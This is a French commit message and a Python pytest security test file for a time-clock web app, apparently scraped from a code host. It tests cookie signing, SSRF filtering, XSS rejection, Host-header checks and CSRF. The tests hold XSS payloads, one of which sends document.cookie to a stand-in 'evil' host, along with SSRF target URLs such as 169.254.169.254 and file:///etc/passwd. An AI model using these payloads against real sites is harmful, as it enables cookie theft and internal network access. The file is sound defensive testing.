GET /presence/{token}/arrivee et /depart modifiaient l'état (save_presence,
append_log) : c'est anti-pattern REST, CSRF-trivial via <img src="..."> si
le token fuite, et le token se retrouvait dans les logs reverse-proxy,
l'historique navigateur et les referrers.
Les deux routes passent en POST. C'est un breaking change pour les clients
Tasker actuels, mais Tasker supporte HTTP POST nativement et la doc
docs/notifications.md est mise à jour (Tasker : HTTP Request méthode POST ;
script NetworkManager : curl -X POST).
Les tests existants qui utilisaient client.get(...) sur ces routes passent
en client.post(...). Un nouveau test vérifie que le GET renvoie désormais
405 Method Not Allowed et que le POST continue de fonctionner.
💘 Generated with Crush
Assisted-by: Crush:glm-5.2
424 lines
16 KiB
Python
424 lines
16 KiB
Python
"""Tests de sécurité : anti-forgery du cookie de session.
|
|
|
|
Avant le correctif, n'importe qui pouvait forger le cookie `user_id=admin` et
|
|
accéder aux données d'un autre utilisateur. La signature HMAC doit rendre toute
|
|
altération détectable.
|
|
"""
|
|
import sys
|
|
|
|
# DATA_DIR temporaire est positionné par conftest.py avant l'import de models.
|
|
import models # noqa: F401
|
|
|
|
sys.path.insert(0, ".")
|
|
import main
|
|
from fastapi.testclient import TestClient
|
|
|
|
client = TestClient(main.app)
|
|
|
|
|
|
def _seed_user(uid: str):
|
|
import bcrypt
|
|
models.save_auth(uid, email=f"{uid}@x.fr",
|
|
password_hash=bcrypt.hashpw(b"x" * 12, bcrypt.gensalt()).decode())
|
|
|
|
|
|
def _login(uid: str) -> dict:
|
|
_seed_user(uid)
|
|
r = client.post("/login/password",
|
|
data={"email": f"{uid}@x.fr", "password": "x" * 12},
|
|
follow_redirects=False)
|
|
assert r.status_code == 302, r.text
|
|
return {"user_id": r.cookies.get("user_id")}
|
|
|
|
|
|
# ── Forgery du cookie ─────────────────────────────────────────────────────────
|
|
|
|
def test_unsigned_cookie_rejected():
|
|
"""Un cookie `user_id=admin` forgé à la main doit être rejeté."""
|
|
_seed_user("alice")
|
|
r = client.get("/semaine/2026/29", cookies={"user_id": "alice"}, follow_redirects=False)
|
|
assert r.status_code == 302
|
|
assert "/login" in r.headers["location"]
|
|
|
|
|
|
def test_tampered_signature_rejected():
|
|
"""Un cookie valide dont on modifie la signature doit être rejeté."""
|
|
cookies = _login("alice")
|
|
raw = cookies["user_id"]
|
|
user_id, _, sig = raw.rpartition(".")
|
|
# Inverse un caractère de la signature
|
|
bad_sig = ("0" if sig[0] != "0" else "1") + sig[1:]
|
|
tampered = f"{user_id}.{bad_sig}"
|
|
r = client.get("/semaine/2026/29", cookies={"user_id": tampered}, follow_redirects=False)
|
|
assert r.status_code == 302
|
|
assert "/login" in r.headers["location"]
|
|
|
|
|
|
def test_valid_signed_cookie_accepted():
|
|
"""Le cookie signé délivré par /login/password doit ouvrir la session."""
|
|
cookies = _login("alice")
|
|
r = client.get("/semaine/2026/29", cookies=cookies, follow_redirects=False)
|
|
assert r.status_code == 200
|
|
|
|
|
|
def test_signed_cookie_cannot_be_replayed_for_other_user():
|
|
"""La signature d'alice ne doit pas valider pour bob (user_id modifié)."""
|
|
cookies = _login("alice")
|
|
raw = cookies["user_id"]
|
|
_, _, sig = raw.rpartition(".")
|
|
# Remplace alice par bob en conservant la signature d'alice
|
|
forged = f"bob.{sig}"
|
|
_seed_user("bob")
|
|
r = client.get("/semaine/2026/29", cookies={"user_id": forged}, follow_redirects=False)
|
|
assert r.status_code == 302
|
|
assert "/login" in r.headers["location"]
|
|
|
|
|
|
# ── Helpers de signature ──────────────────────────────────────────────────────
|
|
|
|
def test_sign_and_verify_roundtrip():
|
|
sig = main._sign_user_id("alice")
|
|
assert main._verify_signed_cookie(sig) == "alice"
|
|
|
|
|
|
def test_verify_rejects_malformed_inputs():
|
|
for bad in ("", "alice", "alice.", ".", "alice.deadbeef", "inva/lid.xxx"):
|
|
assert main._verify_signed_cookie(bad) is None
|
|
|
|
|
|
def test_secret_is_stable_across_calls():
|
|
s1 = models.load_or_create_secret()
|
|
s2 = models.load_or_create_secret()
|
|
assert s1 == s2
|
|
|
|
|
|
# ── Validation SSRF du serveur ntfy ──────────────────────────────────────────
|
|
|
|
import notifications # noqa: E402
|
|
|
|
|
|
def test_ntfy_server_validation_accepts_https():
|
|
assert notifications.is_safe_ntfy_server("https://ntfy.sh")
|
|
assert notifications.is_safe_ntfy_server("https://ntfy.example.com:8080")
|
|
|
|
|
|
def test_ntfy_server_validation_rejects_loopback():
|
|
for bad in ("http://127.0.0.1:1", "http://127.0.0.1", "http://localhost",
|
|
"https://localhost:8443", "https://[::1]"):
|
|
assert not notifications.is_safe_ntfy_server(bad), bad
|
|
|
|
|
|
def test_ntfy_server_validation_rejects_private_networks():
|
|
for bad in ("https://10.0.0.1", "https://172.16.5.5", "https://192.168.1.1",
|
|
"https://169.254.169.254", "http://10.255.255.1:8080"):
|
|
assert not notifications.is_safe_ntfy_server(bad), bad
|
|
|
|
|
|
def test_ntfy_server_validation_rejects_bad_schemes():
|
|
for bad in ("ftp://ntfy.sh", "file:///etc/passwd", "gopher://x", "javascript:alert(1)"):
|
|
assert not notifications.is_safe_ntfy_server(bad), bad
|
|
|
|
|
|
def test_ntfy_server_validation_rejects_credentials_in_url():
|
|
assert not notifications.is_safe_ntfy_server("https://user:pass@ntfy.sh")
|
|
|
|
|
|
def test_ntfy_server_validation_rejects_empty_or_none():
|
|
for bad in ("", None, " "):
|
|
assert not notifications.is_safe_ntfy_server(bad), bad
|
|
|
|
|
|
def test_send_ntfy_refuses_ssrf_target():
|
|
"""Un appel vers une IP privée ne doit jamais ouvrir de connexion réseau."""
|
|
import urllib.request as u
|
|
called = {"n": 0}
|
|
orig = u.urlopen
|
|
try:
|
|
u.urlopen = lambda *a, **kw: called.__setitem__("n", called["n"] + 1)
|
|
ok = notifications.send_ntfy(
|
|
"http://169.254.169.254", "ssrf-topic",
|
|
"msg", "titre", user_id=None, token="",
|
|
)
|
|
finally:
|
|
u.urlopen = orig
|
|
assert ok is False
|
|
assert called["n"] == 0 # urlopen n'a jamais été appelé
|
|
|
|
|
|
def test_settings_save_rejects_ssrf_ntfy_server():
|
|
"""POST /settings avec un serveur SSRF doit être rejeté."""
|
|
cookies = _login("carol")
|
|
# Préserve un topic valide
|
|
models.save_notif_config("carol", ntfy_topic="t", ntfy_server="https://ntfy.sh")
|
|
r = client.post("/settings", cookies=cookies, data={
|
|
"ntfy_topic": "topic-x",
|
|
"ntfy_server": "http://169.254.169.254",
|
|
"ntfy_token": "",
|
|
"rappel_debut_h": "8",
|
|
"rappel_fin_h": "19",
|
|
}, follow_redirects=False)
|
|
assert r.status_code == 303
|
|
assert "ssrf_error=1" in r.headers["location"]
|
|
# La valeur précédente est conservée
|
|
cfg = models.load_notif_config("carol")
|
|
assert cfg["ntfy_server"] == "https://ntfy.sh"
|
|
|
|
|
|
# ── XSS stocké via /pointage ──────────────────────────────────────────────────
|
|
|
|
XSS_PAYLOADS = [
|
|
'"><svg/onload=alert(1)>',
|
|
'"><script>alert(document.cookie)</script>',
|
|
"'/><script>fetch('//evil/'+document.cookie)</script>",
|
|
]
|
|
|
|
|
|
def test_pointage_rejects_non_hhmm_value():
|
|
"""POST /pointage avec une valeur non HHMM ne doit pas être persistée."""
|
|
cookies = _login("dave")
|
|
for payload in XSS_PAYLOADS:
|
|
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
|
"matin_entree": payload,
|
|
"matin_sortie": "",
|
|
"aprem_entree": "",
|
|
"aprem_sortie": "",
|
|
})
|
|
# La réponse ne doit pas planter
|
|
assert r.status_code == 200
|
|
# Le payload ne doit pas se retrouver tel quel dans la réponse
|
|
assert payload not in r.text, payload
|
|
# Vérification de la persistance
|
|
week = models.load_week_pointages(2026, 29, "dave")
|
|
entry = next((p for p in week if p["date"] == "2026-07-17"), None)
|
|
assert entry is not None
|
|
# matin_entree doit avoir été ignoré (None), pas stocké tel quel
|
|
assert entry["matin_entree"] is None
|
|
|
|
|
|
def test_pointage_valid_hhmm_still_works():
|
|
"""Un pointage HHMM valide doit continuer à fonctionner."""
|
|
cookies = _login("erin")
|
|
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
|
"matin_entree": "08:45",
|
|
"matin_sortie": "12:00",
|
|
"aprem_entree": "",
|
|
"aprem_sortie": "",
|
|
})
|
|
assert r.status_code == 200
|
|
assert "08:45" in r.text
|
|
week = models.load_week_pointages(2026, 29, "erin")
|
|
entry = next((p for p in week if p["date"] == "2026-07-17"), None)
|
|
assert entry["matin_entree"] == "08:45"
|
|
|
|
|
|
def test_oob_html_escapes_date_attribute():
|
|
"""Si la date (issue de l'URL) contient des caractères HTML, ils doivent être échappés."""
|
|
cookies = _login("frank")
|
|
# Forçage d'un pointage valide pour déclencher le rendu _oob_time_cells
|
|
client.post("/pointage/2026-07-17", cookies=cookies, data={
|
|
"matin_entree": "08:45", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": "",
|
|
})
|
|
# Une date malicieuse dans /refresh/... doit être échappée si elle passe strptime
|
|
# (les caractères HTML ne passent pas strptime, mais on vérifie que l'escape est actif
|
|
# sur le rendu d'un pointage normal pour la date légitime)
|
|
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
|
"matin_entree": "08:45", "matin_sortie": "12:00",
|
|
"aprem_entree": "14:00", "aprem_sortie": "17:30",
|
|
})
|
|
assert "<script" not in r.text.lower()
|
|
assert "onload" not in r.text.lower()
|
|
|
|
|
|
# ── Open redirect via Host header ─────────────────────────────────────────────
|
|
# Le lien set-password est envoyé par email ; son host venait de request.base_url
|
|
# lui-même issu du header Host contrôlable par le client. Un attaquant pouvait
|
|
# déclencher l'envoi d'un email légitime contenant un host arbitraire (phishing).
|
|
|
|
|
|
def _patch_send_mail_captor(monkeypatch):
|
|
"""Remplace send_mail par un capteur ; retourne le dict où les appels seront stockés."""
|
|
captured = {"calls": []}
|
|
|
|
def _fake_send_mail(to_addr, subject, body, from_addr, smtp_cfg):
|
|
captured["calls"].append({
|
|
"to": to_addr, "subject": subject, "body": body,
|
|
"from": from_addr, "smtp": smtp_cfg,
|
|
})
|
|
|
|
monkeypatch.setattr(main, "send_mail", _fake_send_mail)
|
|
# Configure aussi un SMTP fictif pour que la route ne plante pas avant l'appel
|
|
cfg = models.load_config()
|
|
cfg["smtp"] = {"host": "smtp.test", "port": 587, "user": "u", "password": "p", "use_tls": True}
|
|
models.save_config(cfg)
|
|
return captured
|
|
|
|
|
|
def test_login_rejects_untrusted_host(monkeypatch):
|
|
"""POST /login avec Host=phishing.attacker ne doit pas envoyer d'email."""
|
|
captured = _patch_send_mail_captor(monkeypatch)
|
|
# Config : allowed_email_domain=x.fr, pas de base_url, host attendu = *.x.fr ou localhost
|
|
r = client.post(
|
|
"/login",
|
|
data={"email": "nouveau.x@x.fr"},
|
|
headers={"Host": "phishing.attacker"},
|
|
follow_redirects=False,
|
|
)
|
|
# L'email n'est pas envoyé
|
|
assert captured["calls"] == []
|
|
# Un message d'erreur est renvoyé
|
|
assert "non autorisé" in r.text.lower() or "domaine" in r.text.lower()
|
|
|
|
|
|
def test_login_accepts_host_matching_allowed_email_domain(monkeypatch):
|
|
"""POST /login avec Host=app.x.fr (suffixe du domaine autorisé) doit envoyer l'email."""
|
|
captured = _patch_send_mail_captor(monkeypatch)
|
|
r = client.post(
|
|
"/login",
|
|
data={"email": "nouveau2.x@x.fr"},
|
|
headers={"Host": "app.x.fr"},
|
|
follow_redirects=False,
|
|
)
|
|
assert len(captured["calls"]) == 1
|
|
body = captured["calls"][0]["body"]
|
|
# L'URL dans l'email doit pointer vers le host attendu, pas un host arbitraire
|
|
assert "http://app.x.fr/set-password/" in body
|
|
|
|
|
|
def test_login_accepts_localhost_for_local_dev(monkeypatch):
|
|
"""localhost doit toujours être accepté (utile pour dev local et tests)."""
|
|
captured = _patch_send_mail_captor(monkeypatch)
|
|
client.post(
|
|
"/login",
|
|
data={"email": "local.x@x.fr"},
|
|
headers={"Host": "localhost:8000"},
|
|
follow_redirects=False,
|
|
)
|
|
assert len(captured["calls"]) == 1
|
|
assert "http://localhost:8000/set-password/" in captured["calls"][0]["body"]
|
|
|
|
|
|
def test_login_uses_configured_base_url_regardless_of_host(monkeypatch):
|
|
"""Si base_url est défini en config, c'est elle qui prime (anti spoofing Host)."""
|
|
captured = _patch_send_mail_captor(monkeypatch)
|
|
cfg = models.load_config()
|
|
cfg["base_url"] = "https://pointeuse.officielle.fr"
|
|
models.save_config(cfg)
|
|
|
|
r = client.post(
|
|
"/login",
|
|
data={"email": "config.x@x.fr"},
|
|
headers={"Host": "phishing.attacker"},
|
|
follow_redirects=False,
|
|
)
|
|
# L'email est envoyé avec l'URL officielle, pas le host spoofé
|
|
assert len(captured["calls"]) == 1
|
|
assert "https://pointeuse.officielle.fr/set-password/" in captured["calls"][0]["body"]
|
|
assert "phishing.attacker" not in captured["calls"][0]["body"]
|
|
# Cleanup
|
|
cfg["base_url"] = ""
|
|
models.save_config(cfg)
|
|
|
|
|
|
def test_safe_base_url_helper_unit():
|
|
"""Tests unitaires du helper _safe_base_url."""
|
|
from starlette.datastructures import Headers
|
|
|
|
class _FakeReq:
|
|
def __init__(self, host, scheme="http"):
|
|
self.headers = Headers({"host": host})
|
|
self.url = type("U", (), {"scheme": scheme})()
|
|
|
|
# Aucune config base_url, domaine autorisé x.fr
|
|
# Host valide (suffixe)
|
|
assert main._safe_base_url(_FakeReq("app.x.fr")).endswith("://app.x.fr")
|
|
# Host invalide
|
|
assert main._safe_base_url(_FakeReq("evil.attacker")) is None
|
|
# localhost OK
|
|
assert "localhost" in main._safe_base_url(_FakeReq("localhost"))
|
|
# Host sans header → None
|
|
assert main._safe_base_url(_FakeReq("")) is None
|
|
|
|
|
|
# ── Protection CSRF (Origin check) ────────────────────────────────────────────
|
|
|
|
def test_csrf_rejects_post_with_cross_site_origin():
|
|
"""Un POST avec Origin cross-site doit être rejeté."""
|
|
cookies = _login("grace")
|
|
r = client.post(
|
|
"/pointage/2026-07-17",
|
|
cookies=cookies,
|
|
data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
|
|
headers={"Host": "testserver", "Origin": "https://evil.attacker"},
|
|
follow_redirects=False,
|
|
)
|
|
assert r.status_code == 403
|
|
assert "csrf" in r.text.lower()
|
|
|
|
|
|
def test_csrf_rejects_post_with_cross_site_referer():
|
|
"""Un POST avec Referer cross-site doit aussi être rejeté."""
|
|
cookies = _login("heidi")
|
|
r = client.post(
|
|
"/pointage/2026-07-17",
|
|
cookies=cookies,
|
|
data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
|
|
headers={"Host": "testserver", "Referer": "https://evil.attacker/page"},
|
|
follow_redirects=False,
|
|
)
|
|
assert r.status_code == 403
|
|
|
|
|
|
def test_csrf_accepts_post_without_origin():
|
|
"""L'absence d'Origin (curl/Tasker) doit être tolérée (SameSite suffit)."""
|
|
cookies = _login("ivan")
|
|
r = client.post(
|
|
"/pointage/2026-07-17",
|
|
cookies=cookies,
|
|
data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
|
|
follow_redirects=False,
|
|
)
|
|
assert r.status_code == 200
|
|
|
|
|
|
def test_csrf_accepts_post_with_matching_origin():
|
|
"""Un POST avec Origin == Host est accepté."""
|
|
cookies = _login("judy")
|
|
r = client.post(
|
|
"/pointage/2026-07-17",
|
|
cookies=cookies,
|
|
data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
|
|
headers={"Host": "testserver", "Origin": "http://testserver"},
|
|
follow_redirects=False,
|
|
)
|
|
assert r.status_code == 200
|
|
|
|
|
|
def test_csrf_accepts_get_regardless_of_origin():
|
|
"""Les GET ne sont pas concernés par la vérification CSRF."""
|
|
r = client.get("/login", headers={"Origin": "https://evil.attacker"})
|
|
# 200 (page login) ou 302 (déjà loggué) mais pas 403
|
|
assert r.status_code != 403
|
|
|
|
|
|
# ── Endpoints de présence : POST uniquement (anti CSRF trivial) ──────────────
|
|
|
|
def test_presence_endpoints_require_post():
|
|
"""Les endpoints /presence/... doivent refuser les GET (CSRF trivial via <img src>)."""
|
|
notif = models.load_notif_config("alice") if (models.DATA_DIR / "users" / "alice").exists() else None
|
|
# Crée alice si nécessaire et récupère un token valide
|
|
_seed_user("alice")
|
|
token = models.load_notif_config("alice")["token"]
|
|
|
|
# GET doit échouer (405 Method Not Allowed)
|
|
r_get_arr = client.get(f"/presence/{token}/arrivee", follow_redirects=False)
|
|
r_get_dep = client.get(f"/presence/{token}/depart", follow_redirects=False)
|
|
assert r_get_arr.status_code == 405, r_get_arr.status_code
|
|
assert r_get_dep.status_code == 405
|
|
|
|
# POST doit fonctionner
|
|
r_post_arr = client.post(f"/presence/{token}/arrivee")
|
|
r_post_dep = client.post(f"/presence/{token}/depart")
|
|
assert r_post_arr.status_code == 200
|
|
assert r_post_dep.status_code == 200
|
|
assert r_post_arr.json() == {"ok": True}
|